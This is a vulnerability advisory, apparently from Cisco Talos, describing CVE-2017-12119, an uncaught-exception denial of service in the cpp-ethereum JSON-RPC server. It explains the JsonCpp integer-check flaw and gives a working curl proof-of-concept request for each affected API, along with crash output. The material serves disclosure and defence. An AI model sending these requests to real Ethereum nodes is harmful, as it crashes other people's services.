CVE-2017-12119
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum’s JSON-RPC. Specially crafted JSON requests can cause a unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable:
List of APIs available by default when JSON-RPC server is turned on:
- debug_storageRangeAt
- debug_traceBlockByNumber
List of APIs available when the "--admin-via-http" switch is used:
- miner_start
- admin_eth_vmTrace
- personal_newAccount
- admin_eth_getReceiptByHashAndIndex
- admin_setVerbosity
- admin_verbosity
To handle JSON objects, the JsonCpp
project (https://github.com/open-source-parsers/jsoncpp) is used and the definition of the asInt
method looks as follows:
json_value.cpp
Line 732 Value::Int Value::asInt() const {
Line 733 switch (type_) {
Line 734 case intValue:
Line 735 JSON_ASSERT_MESSAGE(isInt(), "LargestInt out of Int range");
Line 736 return Int(value_.int_);
Line 737 case uintValue:
Line 738 JSON_ASSERT_MESSAGE(isInt(), "LargestUInt out of Int range");
Line 739 return Int(value_.uint_);
Line 740 case realValue:
Line 741 JSON_ASSERT_MESSAGE(InRange(value_.real_, minInt, maxInt),
Line 742 "double out of Int range");
Line 743 return Int(value_.real_);
Line 744 case nullValue:
Line 745 return 0;
Line 746 case booleanValue:
Line 747 return value_.bool_ ? 1 : 0;
Line 748 default:
Line 749 break;
Line 750 }
Line 751 JSON_FAIL_MESSAGE("Value is not convertible to Int.");
Line 752 }
for both ints there is an assertion for which the condition is checked by the isInt
method:
Line 1314 bool Value::isInt() const {
Line 1315 switch (type_) {
Line 1316 case intValue:
Line 1317 #if defined(JSON_HAS_INT64)
Line 1318 return value_.int_ >= minInt && value_.int_ <= maxInt;
Line 1319 #else
Line 1320 return true;
Line 1321 #endif
Line 1322 case uintValue:
Line 1323 return value_.uint_ <= UInt(maxInt);
Line 1324 case realValue:
Line 1325 return value_.real_ >= minInt && value_.real_ <= maxInt &&
Line 1326 IsIntegral(value_.real_);
Line 1327 default:
Line 1328 break;
Line 1329 }
Line 1330 return false;
Line 1331 }
The isInt
method distinguishes between integer types but based on exception message thrown for the proof of concepts below, we know that type of this particular Json::Value
object during construction was set to uintValue
.
If so the value should pass the check at line 1323
.
const Int Value::maxInt = Int(UInt(-1) / 2);
const UInt Value::maxUInt = UInt(-1);
Here it also looks like JsonCpp developers made a mistake and wrongly took constant value of maxInt
instead of maxUInt
for the comparison. Nevertheless in both cases we can pass a value which will fail the above checks.
In the current situation with the maxInt
defined above, we just need to pass integer bigger than 0x7FFFFFFF
to trigger an exception. If it were implemented correctly, then we need to pass along a value larger than 0xFFFFFFFF.
Line 37 // The call to assert() will show the failure message in debug builds. In
Line 38 // release builds we abort, for a core-dump or debugger.
Line 39 # define JSON_FAIL_MESSAGE(message) \
Line 40 { \
Line 41 JSONCPP_OSTRINGSTREAM oss; oss << message; \
Line 42 assert(false && oss.str().c_str()); \
Line 43 abort(); \
Line 44 }
The following documents each vulnerable API below and provides a POC:
cpp-ethereum\libweb3jsonrpc\DebugFace.h
Line 15 DebugFace()
Line 16 {
(...)
Line 20 this->bindAndAddMethod(jsonrpc::Procedure("debug_traceBlockByNumber", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_OBJECT, NULL), &dev::rpc::DebugFace::debug_traceBlockByNumberI);
(...)
Line 23 }
(...)
Line 37 inline virtual void debug_traceBlockByNumberI(const Json::Value &request, Json::Value &response)
Line 38 {
Line 39 response = this->debug_traceBlockByNumber(request[0u].asInt(), request[1u]);
Line 40 }
At line 39
everything except the first parameter passed to debug_traceBlockByNumber
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545
cpp-ethereum\libweb3jsonrpc\AdminEthFace.h
Line 15 AdminEthFace()
Line 16 {
(...)
Line 30 this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_getReceiptByHashAndIndex", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_getReceiptByHashAndIndexI);
(...)
Line 37 }
(...)
Line 91 inline virtual void admin_eth_getReceiptByHashAndIndexI(const Json::Value &request, Json::Value &response)
Line 92 {
Line 93 response = this->admin_eth_getReceiptByHashAndIndex(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 94 }
At line 93
the second parameter passed to admin_eth_getReceiptByHashAndIndex
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_getReceiptByHashAndIndex","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545
cpp-ethereum\libweb3jsonrpc\AdminEthFace.h
Line 15 AdminEthFace()
Line 16 {
(...)
Line 29 this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_vmTrace", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_vmTraceI);
(...)
Line 37 }
(...)
Line 87 inline virtual void admin_eth_vmTraceI(const Json::Value &request, Json::Value &response)
Line 88 {
Line 89 response = this->admin_eth_vmTrace(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 90 }
At line 89
the second parameter passed to admin_eth_vmTrace
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_vmTrace","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545
cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h
Line 15 AdminUtilsFace()
Line 16 {
Line 17 this->bindAndAddMethod(jsonrpc::Procedure("admin_setVerbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminUtilsFace::admin_setVerbosityI);
(...)
Line 20 }
(...)
Line 22 inline virtual void admin_setVerbosityI(const Json::Value &request, Json::Value &response)
Line 23 {
Line 24 response = this->admin_setVerbosity(request[0u].asInt(), request[1u].asString());
Line 25 }
At line 89
the second parameter passed to admin_setVerbosity
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_setVerbosity","params":[112233445566778899,"2"],"id":1}' 192.168.217.155:8545
cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h
Line 15 AdminUtilsFace()
Line 16 {
Line 18 this->bindAndAddMethod(jsonrpc::Procedure("admin_verbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminUtilsFace::admin_verbosityI);
(...)
Line 20 }
(...)
Line 26 inline virtual void admin_verbosityI(const Json::Value &request, Json::Value &response)
Line 27 {
Line 28 response = this->admin_verbosity(request[0u].asInt());
Line 29 }
At line 89
the parameter passed to admin_verbosity
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_verbosity","params":[112233445566778899],"id":1}' 192.168.217.155:8545
cpp-ethereum\libweb3jsonrpc\DebugFace.h
Line 15 DebugFace()
Line 16 {
(...)
Line 18 this->bindAndAddMethod(jsonrpc::Procedure("debug_storageRangeAt", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING,"param4",jsonrpc::JSON_STRING,"param5",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::DebugFace::debug_storageRangeAtI);
(...)
Line 23 }
(...)
Line 29 inline virtual void debug_storageRangeAtI(const Json::Value &request, Json::Value &response)
Line 30 {
Line 31 response = this->debug_storageRangeAt(request[0u].asString(), request[1u].asInt(), request[2u].asString(), request[3u].asString(), request[4u].asInt());
Line 32 } At `line 31` the second and fifth parameter passed to `debug_storageRangeAt` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"debug_storageRangeAt","params":["1",112233445566778899,"3","4",5],"id":1}' 192.168.217.155:8545
cpp-ethereum\libweb3jsonrpc\AdminEthFace.h
Line 15 AdminEthFace()
Line 16 {
(...)
Line 31 this->bindAndAddMethod(jsonrpc::Procedure("miner_start", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminEthFace::miner_startI);
(...)
Line 37 }
(...)
Line 95 inline virtual void miner_startI(const Json::Value &request, Json::Value &response)
Line 96 {
Line 97 response = this->miner_start(request[0u].asInt());
Line 98 }
At line 96
the parameter passed to miner_start
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"miner_start","params":[112233445566778899],"id":1}' 192.168.217.155:8545
cpp-ethereum\libweb3jsonrpc\PersonalFace.h
Line 15 PersonalFace()
Line 16 {
(...)
Line 18 this->bindAndAddMethod(jsonrpc::Procedure("personal_unlockAccount", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_STRING,"param3",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::PersonalFace::personal_unlockAccountI);
(...)
Line 37 }
(...)
Line 28 inline virtual void personal_unlockAccountI(const Json::Value &request, Json::Value &response)
Line 29 {
Line 30 response = this->personal_unlockAccount(request[0u].asString(), request[1u].asString(), request[2u].asInt());
Line 31 }
At line 30
the third parameter passed to personal_unlockAccount
API is an integer value. To enforce that, the JSON object calls the asInt
method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["1","2",112233445566778899],"id":1}' 192.168.217.155:8545
curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545
icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --ipc --private 123 --no-discovery --datadir `pwd`/data --config config.json --admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
JSONRPC Admin Session Key: ZUNHn2AgrMM=
terminate called after throwing an instance of 'Json::LogicError'
what(): LargestUInt out of Int range
Aborted (core dumped)
gdb-peda$ bt
#0 0x00007fa13b121428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007fa13b12302a in __GI_abort () at abort.c:89
#2 0x00007fa13ba6484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3 0x00007fa13ba626b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4 0x00007fa13ba62701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5 0x00007fa13ba62919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6 0x00000000008825aa in Json::throwLogicError(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) ()
#7 0x000000000088783f in Json::Value::asInt() const ()
#8 0x00000000005f553e in dev::rpc::DebugFace::debug_traceBlockByNumberI (this=0x10bc4c0, request=..., response=...) at /home/icewall/bugs/cpp-ethereum/libweb3jsonrpc/DebugFace.h:39
#9 0x000000000086ba05 in jsonrpc::AbstractProtocolHandler::ProcessRequest(Json::Value const&, Json::Value&) ()
#10 0x0000000000868afc in jsonrpc::RpcProtocolServerV2::HandleSingleRequest(Json::Value const&, Json::Value&) ()
#11 0x0000000000868e0e in jsonrpc::RpcProtocolServerV2::HandleJsonRequest(Json::Value const&, Json::Value&) ()
#12 0x000000000086aca1 in jsonrpc::AbstractProtocolHandler::HandleRequest(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) ()
#13 0x0000000000869c4a in jsonrpc::HttpServer::callback(void*, MHD_Connection*, char const*, char const*, char const*, char const*, unsigned long*, void**) ()
#14 0x00007fa13bd5c344 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#15 0x00007fa13bd5d3fc in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#16 0x00007fa13bd62da9 in MHD_run_from_select () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#17 0x00007fa13bd630b6 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#18 0x00007fa13bd63222 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#19 0x00007fa13bf766ba in start_thread (arg=0x7fa134d0f700) at pthread_create.c:333
#20 0x00007fa13b1f33dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
Detaching from program: /home/icewall/bugs/cpp-ethereum/build/eth/eth, process 9058
2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.